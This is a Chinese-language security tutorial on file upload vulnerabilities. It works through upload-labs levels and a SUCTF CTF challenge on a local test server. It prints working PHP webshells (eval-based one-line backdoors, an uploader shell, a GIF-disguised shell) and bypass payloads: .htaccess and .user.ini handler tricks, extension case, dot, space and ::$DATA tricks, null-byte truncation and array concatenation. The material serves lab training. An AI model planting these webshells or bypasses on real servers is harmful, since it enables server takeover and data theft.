文件上传

webshell

认识 WebShell

webshell 概念

Webshell 是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,以 aspx、php、jsp 等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

常见的后端开发语言主要有 Java、.net、php,而 WebShell 就是 jsp、aspx、php等网页文件形式存在的一种命令、代码执行环境,也可以将其称做为一种网页木马后门。

黑客在入侵了一个网站后,通常会将 jsp、aspx 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在一起。然后就可以使用浏览 器来访问后门文件,得到一个命令执行环境,以达到控制网站服务器的目的。

优点

可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过 http/https 协议(默认 80、443 端口)传递的,因此不会被防火墙拦截。

使用 WebShell 一般不会在系统日志中留下记录,只会在网站的 web 日志(比如 apache 的 access.log)中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

分类

WebShell 根据编程语言可以分为 php 木马、aspx 木马和 jsp 木马(跟随时代和技术的发展,现在也用 python 编写的脚本木马)。

按照文件大小和功能可以分为3种:大马,小马,一句话木马,具体使用场景和特点如下图:

image-20240506123157080

一句话木马

代码简短,通常只有一行代码,使用方便。

比如 PHP 木马:

<?php echo(123); @eval($_GET['cmd']);?>
<?php echo(123); @eval($_POST['cmd']);?>

其中 GET、POST 表示客户端向服务端传递参数的两种种方式,一句话木马用 $_GET[' ']或者$_POST[' ']接收攻击者传递的数据,并把接收的数据传递给一句话木马中执行命令的函数(eval()assert()等),进而执行命令。

echo(123); 是用来检测木马是否成功运行。

当将 @放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。

eval() 就是执行命令的函数,$_POST[' '] 就是接收的数据,eval() 函数把接收的数据当作 PHP 代码来执行。这样攻击者就能够让插入了一句话木马的网站执行传递过去的任意 PHP 语句,包括系统命令。

比如:

cmd = cat('/flag')
小马

只包含文件上传功能,体积小的木马。

比如上传任意文件的木马:

<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if(empty($file)){
echo "<form action='' method='POST' ENCTYPE='multipart/form-data'>\n";
echo "local file:<input type='file' name='upload_file'>\n";
echo "<input type='submit' value='Upload'>\n";
echo "</form>\n<pre>\n\n</pre>";
}else{
if(move_uploaded_file($temp,$file)){
echo "successfully.<p>\n";
}else{
echo "unable to uplaod" . $file . ".<p>\n";
}
}
?>
大马

体积大,包含很多功能,代码通常会进行加密隐藏,一般需要连接密码。

认识文件上传

文件上传

就是将客户端的文件上传到服务器的过程。

比如 QQ 空间发表说说上传的图片、招聘网上传简历、将文件上传到网盘等,这些都是文件上传。

文件上传漏洞

上传文件的时候,如果服务器端、后端未对上传的文件进行严格的验证和过滤,就可能造成上传恶意文件的情况,造成文件上传漏洞。

常见场景是 web 服务器允许用户上传图片或者普通文本文件保存,而攻击者绕过上传机制上传恶意代码文件并执行从而控制服务器。

这个恶意的代码文件( php、asp、aspx、jsp 等)就是 webshell。

危害:攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。

条件

能上传 webshell

webshell 路径可知

webshell 可以被访问

webshell 可以被解析

PHP 实现文件上传的代码基础

以 upload-labs Pass-01 的关键源码为例

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
  1. 首先引入了两个文件 config.phphead.phpmenu.php。这些文件包含了一些全局配置和页面模板。

  2. 初始化了两个变量 $is_upload$msg$is_upload 用于标记文件是否上传成功,$msg 用于存储错误信息。

  3. 当用户提交表单(isset($_POST['submit']))时,开始进行文件上传的处理。

  4. 首先检查 UPLOAD_PATH 是否存在。

    UPLOAD_PATH 是一个常量,它表示文件上传的目录路径。这个常量通常在 config.php 文件中定义。

    如果不存在,则将错误信息存储到 $msg 变量中。

    该常量同时在下一步构建上传文件的目标路径。上传文件会被保存到 UPLOAD_PATH 指定的目录中,文件名为上传文件的原始文件名。

  5. 如果 UPLOAD_PATH 存在,则获取上传文件的临时路径($_FILES['upload_file']['tmp_name'])和目标路径(UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])。

    当用户通过表单上传文件时,PHP 会将文件暂时存储在服务器的临时目录中,并将相关信息存储在 $_FILES 超级全局变量中。

    $_FILES 变量是一个二维数组,其中包含了上传文件的各种信息,如文件名、文件类型、文件大小等。

    $_FILES['upload_file']['tmp_name'] 就是其中的一个元素,它存储了上传文件的临时存储路径。这个临时路径是 PHP 自动生成的,用于在将文件移动到最终存储位置之前保存文件。

    其中 'upload_file' 就是表单中 <input class="input_file" type="file" name="upload_file"/> 中的 name 属性值。

    'tmp_name' 就是 $_FILES 数组中的一个键,用于表示上传文件的临时存储路径。

    使用 $_FILES['upload_file']['tmp_name'] 来获取上传文件的临时路径,然后将其移动到 UPLOAD_PATH 指定的目录中,完成文件的上传过程。

    'name'$_FILES 数组中的另一个键,对应的是上传文件的原始文件名。

    $_FILES['upload_file']['name'] 就是用于获取上传文件的原始文件名。这个文件名是用户在本地计算机上选择的文件名,在上传到服务器时保留了下来。

    这里是$_FILES中的那些参数:

    $_FILES 这个变量用与上传的文件参数设置,是一个多维数组
    数组的用法就是 $_FILES['key']['key2'];
    $_FILES['upfile'] 是你表单上传的文件信息数组,upfile 是文件上传字段,在上传时由服务器根据上传字段设定
    $_FILES['upfile'] 包含了以下内容:
    $_FILES['upfile']['name'] 客户端文件的原名称
    $_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如 "image/gif"
    $_FILES['upfile']['size'] 已上传文件的大小,单位为字节
    $_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名
    $_FILES['upfile']['error'] 和该文件上传相关的错误代码
  6. 使用 move_uploaded_file() 函数将临时文件移动到目标路径。如果移动成功,则将 $is_upload 设置为 true,否则将错误信息存储到 $msg 变量中。

文件检测机制与绕过方式

大多数网站都存在文件检测机制,不会允许任意文件上传。常见的文件检测方式有:

image-20240506124945474

文件头检测

一般来说,给 webshell 添加文件头就可以绕过

文件头可以将文件拖入 010 editor 后看到

GIF : GIF89a 
png : %PNG....

image-20231019204923063

客户端检测

客户端检测一般是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

判断方式:在浏览加载文件,点击上传按钮时便弹出对话框,内容如:只允许上传 .jpg / .jpeg / .png 后缀名的文件,而此时并没有发送数据包。

实例:

upload-labs Pass-01:

<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
// 定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
// 提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
// 判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
  1. 这段 JavaScript 代码定义了 checkFile 函数

  2. var file = document.getElementsByName('upload_file')[0].value;

    获取表单中 <input type="file" name="upload_file"> 元素的值,也就是用户选择的文件路径。

    document.getElementsByName('upload_file') 这个方法用于根据元素的 name 属性获取匹配的元素集合。它会获取所有 name 属性为 'upload_file'<input> 元素。所以返回的是一个 HTML 集合,此时需要通过索引来访问具体的元素。[0] 表示获取集合中的第一个元素。

    .value 这个属性用于获取表单控件的值。对于 <input type="file"> 元素来说,它就是文件路径。

  3. if (file == null || file == "")

    这个条件判断用于检查用户是否选择了文件。如果 file 变量为 null 或空字符串 "",说明用户没有上传文件。如果条件成立,则弹出警告框提示用户上传文件,并返回 false 阻止表单提交。

  4. var allow_ext = ".jpg|.png|.gif";

    定义了允许上传的文件类型,包括 .jpg.png.gif

  5. var ext_name = file.substring(file.lastIndexOf("."));

    提取上传文件的扩展名。

    lastIndexOf(".") 提取 file 变量中 . 首次出现的位置(返回一个数字)

    使用 substring() 方法从文件路径中获取最后一个点 . 之后的部分,即文件的扩展名。

  6. if (allow_ext.indexOf(ext_name) == -1) 这个条件判断用于检查上传文件的扩展名是否在允许的扩展名列表中。

    如果 allow_ext 字符串中不包含 ext_name(此时 indexof 方法返回 -1),说明文件类型不被允许上传。

    如果条件成立,则弹出警告框提示用户上传正确的文件类型,并返回 false 阻止表单提交。

那么最简单的方法就是前端禁用 JavaScript

以 Google 浏览器为例:

访问:chrome://settings/content/javascript

image-20240506184255910

webshell.php

<?php echo(123); @eval($_POST['cmd']);?>

上传成功

image-20240506185341228

访问图片地址 http://127.0.0.1/uploadlabs/upload/webshell.php (右键点击图片会显示)

image-20240506190043432

有回显 123 说明 webshell 被成功解析!此时可以用 POST 方法进行命令执行:

image-20240506191426539

或者可以连接蚁剑:

连接密码为 $_POST 中的参数

image-20240506192253074

image-20240506192211675

服务端检测

服务端检测就是网站对用户上传的文件的检测代码放置在服务器里,当用户上传的文件通过了检测才会被允许保存在服务器里。

MIME 类型检测

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准,用来表示文档、文件或字节流的性质和格式。简单来说就是用来表示我们提交的数据的类型。

检测方式:通过检查 http 包的 Content-Type 字段中的值来判断上传文件是否合法。

一般采取白名单的方式来进行检测,如只能上传图像文件的话就 Content-Type 头就必须为 image/jpegimage/pngimage/gif

http 数据包中在 Content-Type 字段常见值有:

文本:text/plain、text/html、text/css、text/javascript、text/xml
图片:image/gif、image/png、image/jpeg
视频:video/webm、video/ogg
音频:audio/midi、audio/mpeg、audio/webm、audio/ogg、audio/wav
二进制:application/octet-stream、application/pdf、application/json
在表单中进行文件上传:multipart/form-data

绕过:一般来说网站的上传点是允许上传图片的,所以可以利用 BurpSuite 截取并修改数据包中的 Content-Type 字段的值为图片类型的值从而进行绕过。

实例:

upload-labs Pass-02:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>

直接来看关键代码:

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) 

$_FILES['upload_file']['type']:文件的 MIME 类型,需要浏览器提供该信息的支持,例如 image/gif

那么我们对应的就要改 MIME 类型为 jpg 、 png 和 gif

image-20240506194122559

其实直接传 jpg 、 png 和 gif 文件马然后把后缀该为 php 就可以了…

文件后缀检测

黑名单检测

一般情况下,代码文件里会有一个数组或者列表,该数组或者列表里会包含一些非法的字符或者字符串,当数据包中含有符合该列表的字符串时,即认定该数据包是非法的。

如何确认是否是黑名单检测

黑名单是有限的,可以随意构造一个文件后缀,如果可以上传,则说明是黑名单检测。

绕过方式
  • 后缀双写绕过:

    有些代码中,会将文件后缀符合黑名单列表的字符串替换为空,比如将 php 替换为空,这时可以将木马命名为 webshell.pphphp,这样上传后的文件名为 webshell.php。具体命名根据文件类型和替换规则确定。

    实例:

    upload-labs Pass-11:

    <?php
    include '../config.php';
    include '../head.php';
    include '../menu.php';

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = str_ireplace($deny_ext,"", $file_name);
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }
    ?>

    关键代码:

    $file_name = str_ireplace($deny_ext,"", $file_name);

    会将 $file_name 中匹配到 $deny_ext 的字符替换为空,并且该函数不区分大小写。

    由于该函数进行逐一查找时并不会去检查已经被查找、替换后的字符串拼接未被查找、替换后字符串是否符合替换标准,所以我们可用 webshell.pphphp 绕过。

    image-20240508093428998

    image-20240508093742509

  • 后缀大小写绕过(适用于 windows 系统):

    可以上传后缀为大写字母的文件,利用 windows 对大小写不敏感,来访问和执行木马。

    upload-labs Pass-05:

    缺少了如下代码:

    $file_ext = strtolower($file_ext); // 转换为小写

    那么将后缀部分或全部大写都可以实现绕过:webshell.pHp、webshell.PHP …

    image-20240508084103906

    image-20240508084248142

  • 空格绕过:

    如果没有进行去空格处理,可以在后缀之后加空格 .php 绕过。

    实例:

    upload-labs Pass-07:

    缺少了如下代码:

    $file_ext = trim($file_ext); // 首尾去空

    image-20240508085726925

    image-20240508085829772

  • 点绕过:

    如果没有进行去点( . )处理,可以在后缀之后加点( .php. ),利用 windows 的特点, 会自动去点后缀名最后的点,进行绕过。

    实例 1:

    upload-labs Pass-05:

    <?php
    include '../config.php';
    include '../common.php';
    include '../head.php';
    include '../menu.php';

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name); // 删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); // 转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
    $file_ext = trim($file_ext); // 首尾去空

    if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else {
    $msg = '此文件类型不允许上传!';
    }
    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }
    ?>

    问题代码:

    $file_name = deldot($file_name);

    delot 从字符串的尾部开始,从后向前删除点 . ,直到该字符串的末尾字符不是 . 为止。

    问题就在结束的位置的判断,如果我们上传的文件后缀名为 php. . 那么经过代码删除后的后缀为 .php. ,从而成功上传。

    成功上传的文件后缀 .php. 也会被自动删除点 . 和空格 ,变为 .php,被成功解析和执行。

    注意:由于 delot 判断机制,在后缀保证两点一空格的前提下怎么加点和加空格都可以,比如:.php. . . . .

    image-20240507214430339

    连接蚁剑的话直接填上传的源地址就行,不用修改。

    image-20240507214911346

    image-20240507214847137

    实例 2:

    upload-labs Pass-06:

    缺少了如下代码:

    $file_name = deldot($file_name); // 删除文件名末尾的点

    直接用实例 1 的 payload 就行了

  • ::$DATA 绕过:
    如果没有对后缀名进行去::$DATA处理,利用 windows 特点(window 对于文件和文件名的限制,以下字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除),可以忽略 ::$DATA,直接访问前面的文件名。

    如果文件名+ ::$DATA 会把 ::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持 ::$DATA 之前的文件名。

    20210518214952407

    20210518215322209

    实例:

    upload-labs Pass-09:

    缺少了如下代码:

    $file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA

    那就上传 webshell.php::$DATA

    image-20240508091032414

    注意:访问上传后的文件路径时要将后缀 ::$DATA 删去

    image-20240508091413882

  • 其它可解析后缀绕过:

    前提是 apache 的 httpd.conf 中有如下配置代码:

    AddType application/x-httpd-php .php .phtml .phps .php5 .pht

    可解析后缀:

    PHP:php2、php3、php5、phtml、pht
    ASP:asa、cer、cdx
    ASPX:ascx、ashx、asac
    JSP:jspx、jspf

    (注意:能成功上传不一定意味着该文件类型能被成功解析)

    实例:

    upload-labs Pass-03:

    <?php
    include '../config.php';
    include '../common.php';
    include '../head.php';
    include '../menu.php';

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array('.asp','.aspx','.php','.jsp');
    $file_name = trim($_FILES['upload_file']['name']); // 移除字符串两侧的空白字符或其他预定义字符
    $file_name = deldot($file_name); // 从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止
    $file_ext = strrchr($file_name, '.'); // 搜索 . 在字符串中的位置,并返回从该位置到字符串结尾的所有字符
    $file_ext = strtolower($file_ext); // 转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
    $file_ext = trim($file_ext); // 移除字符串两侧的空白字符或其他预定义字符

    if(!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
    // 最终的上传路径随机,一部分与目前时间有关,另一部分是随机数
    if (move_uploaded_file($temp_file,$img_path)) {
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else {
    $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
    }
    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }
    ?>

    用黑名单不允许上传 .asp.aspx.php.jsp 后缀的文件

    直接传 webshell.phtml 的木马,再访问上传后图片的地址:

    image-20240507001016059

  • 图片 + 配置文件绕过:

    .htaccess 文件,是 apache 服务器的一个配置文件,全称是 Hypertext Access(超文本入口),提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。.htaccess 文件可以修改 apache 的配置,但仅作用于当前目录。

    .htaccess文件内容:

    <FilesMatch "webshell.png">
    setHandler application/x-httpd-php
    </FilesMatch>

    通过一个 .htaccess 文件调用 php 的解析器去解析一个文件名中只要包含 “webshell.png” 这个字符串的任意文件。所以无论文件名是什么样子,只要包含 “webshell.png” 这个字符串,都可以被以 php 的方式来解析。一个自定的 .htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制。在测试时,可以首先上传这个 .htaccess 文件,再上传 webshell.png 文件。

    上面是匹配单个文件,其实,.htaccess 还可以匹配一类文件:

    Sethandler application/x-httpd-php // 将该目录和子目录吓得文件都按照 php 代码解析执行
    AddType application/x-httpd-php .xx // 将 .xx 类文件按照 php 代码解析执行
    AddHandler php5-script .xx // 将 .xx类文件按照 php 代码解析执行

    实例:

    upload-labs Pass-04:

    <?php
    include '../config.php';
    include '../common.php';
    include '../head.php';
    include '../menu.php';

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name); // 删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); // 转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除字符串::$DATA
    $file_ext = trim($file_ext); // 收尾去空

    if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else {
    $msg = '此文件不允许上传!';
    }
    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }
    ?>

    关键代码:

    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

    基本上把除了 .htaccess 文件之外的都枚举了一遍

    就按照上面写的,先上传 .htaccess 文件,再上传 webshell .png

    注意一个小细节:访问的图片地址不用改后缀:

    image-20240507195326574

    蚁剑也是如此:

    image-20240507195926101

    image-20240507195952230

  • ini 配置文件,常用于 nginx 服务器:

    PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件,这样可以在每个目录下单独设置 PHP 的配置信息,而不必依赖全局的 php.ini 文件。这个功能只会被 CGI/FastCGI SAPI 处理。如果使用 Apache,则用 .htaccess 文件有同样效果。

    除了 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

    在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置可被识别。除了 PHP_INI_PERDIRPHP_INI_USER 模式的指令外,也可以使用 PHP_INI_SYSTEM 模式的指令。这些指令会在整个系统范围内生效。

    用户可以通过两个新的 INI 指令 user_ini.filenameuser_ini.cache_ttl 来控制用户 INI 文件的使用。

    其中,user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名,如果设定为空字符串则 PHP 不会搜寻,默认值是 .user.ini

    user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间,默认是 300 秒(5 分钟)。

    需要注意的是,这个功能并不适用于 CLI 模式下的 PHP。

    在使用基于目录的 INI 文件时,需要注意性能问题。如果目录层级较深,或者 user_ini.cache_ttl 设置的时间过短,可能会导致频繁的文件读取,影响性能。可以根据实际情况进行调整。

    下面是对 .user.ini 的举例:

    auto_prepend_file=webshell.gif #先包含 webshell
    auto_append_file=webshell.gif #先访问文件,再包含 webshel

    auto_prepend_file=webshell.gif

    • 在每个 PHP 脚本执行前自动包含一个名为 webshell.gif 的文件。
    • 当 PHP 脚本执行时,webshell.gif 的文件里面的恶意脚本也会被执行。

    auto_append_file=webshell.gif

    • 这会在每个 PHP 脚本执行后自动包含 webshell.gif 文件。
    • 这意味着即使原始 PHP 脚本没有问题,最终执行的代码也会执行 webshell.gif 的文件里面的恶意脚本。

    实例:

    [SUCTF 2019]CheckIn

    [BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[SUCTF 2019]CheckIn)

    构造 .user.ini 文件:

    auto_prepend_file=webshell.gif

    由于有文件头检测。所以要加上 GIF89a 绕过:

    GIF89a
    auto_prepend_file=webshell.gif

    image-20240508162857118

    上传成功:

    image-20240508163028466

    由于有文件内容检测,webshell.gif 的内容为:

    GIF89A
    <script language="php">
    echo(123); @eval($_POST['cmd']);
    </script>

    image-20240508163525031

    上传成功:

    image-20240508163859784

    连接蚁剑:

    image-20240508164002022

    成功连接:

    image-20240508164137198
    得到 flag
    image-20240508164732649

白名单检测

白名单:一般情况下,代码文件里会有一个数组或者列表,该数组或者列表里会包含一些合法的字符或者字符串,如果数据包中的文件后缀不符合白名单,就不允许上传。

如何确认是否是白名单检测

上传一张图片与一个自己构造的后缀,如果只能上传图片,不能上传其它后缀文件,说明是白名单检测。

前提

php:php < 5.3.29 且 php.ini 文件中 magic_quotes_gpc=off

magic_quotes_gpc 可在 phpstudy –> 其他选项菜单 –> PHP 扩展及设置 –> 参数开关设置中关闭。

java:jdk < JDK1.7.0_40

绕过方式
  • get 0x00 截断:

    00 截断是操作系统层的漏洞,由于操作系统是 C 语言或汇编语言编写的,这两种语言在定义字符串时,都是以 \0(即 0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到 \0 字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入 \0 字符的方式,达到字符串截断的目的。

    0x 表示 16 进制,URL 中 %00 解码成 16 进制就是 0x00 。

    实例:

    upload-labs Pass-12:

    <?php
    include '../config.php';
    include '../head.php';
    include '../menu.php';

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else{
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
    }
    ?>
    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    中的 save_path 可控
    image-20240508101847019
    最终我们得到的地址为:

    http://127.0.0.1/uploadlabs/upload/webshell.php%EF%BF%BD/7020240508101859.png

    由于存在截断,所以实际上解析到的地址是:

    http://127.0.0.1/uploadlabs/upload/webshell.php

    image-20240508102258031

  • post 0x00 截断:

    实例:

    upload-labs Pass-13:

    <?php
    include '../config.php';
    include '../head.php';
    include '../menu.php';

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
    } else {
    $msg = "上传失败";
    }
    } else {
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
    }
    ?>

    注意:

    $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    中的 save_path 可控

    但和 GET 对比,需要多做一次解码的工作

    GET 型提交的内容会被自动进行 URL 解码,在 POST 请求中,%00 不会被自动解码。

    抓包后找到 save_path ,更改值

image-20240508102822575image-20240508103440735
注:编号后字符变为不可见
image-20240508102258031

  • 数组拼接

    实例:

    upload-labs Pass-21:

    <?php
    include '../config.php';
    include '../common.php';
    include '../head.php';
    include '../menu.php';

    if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
    // mime check
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";
    }else{
    // check filename
    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    if (!is_array($file)) {
    $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
    }else{
    $file_name = reset($file) . '.' . $file[count($file) - 1];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $msg = "文件上传成功!";
    $is_upload = true;
    } else {
    $msg = "文件上传失败!";
    }
    }
    }
    }else{
    $msg = "请选择要上传的文件!";
    }

    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }
    ?>

    explode() 函数被用来分割文件名:

    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    if (!is_array($file)) {
    $file = explode('.', strtolower($file));
    }
    $ext = end($file);

    这里首先判断是否有 save_name 表单字段提交,如果没有则使用 $_FILES['upload_file']['name'] 作为文件名。然后使用 explode() 函数按照 . 符号将文件名分割成一个数组。最后使用 end() 函数获取数组中最后一个元素,即文件扩展名。

    end() 函数将数组内部指针指向最后一个元素,并返回该元素的值,所以这个函数可以接受数组的。reset() 函数将内部指针指向数组中的第一个元素,并输出,所以这个函数也可以接受数组的。count() 统计数组有多少个元素

    最最关键的一点是:$_POST['save_name'] 可控,那么就可以从这一点入手:

    用 post 方法传入如下两个参数:

    save_name[0]= upload-20.php
    save_name[2]= jpg

    经过

    $file_name = reset($file) . '.' . $file[count($file) - 1];

    拼接后的名字为:

    upload-20.php + "." + save_name[1]的数据

    由于 save_name[1] 为 NULL ,结果为 upload-20.php.

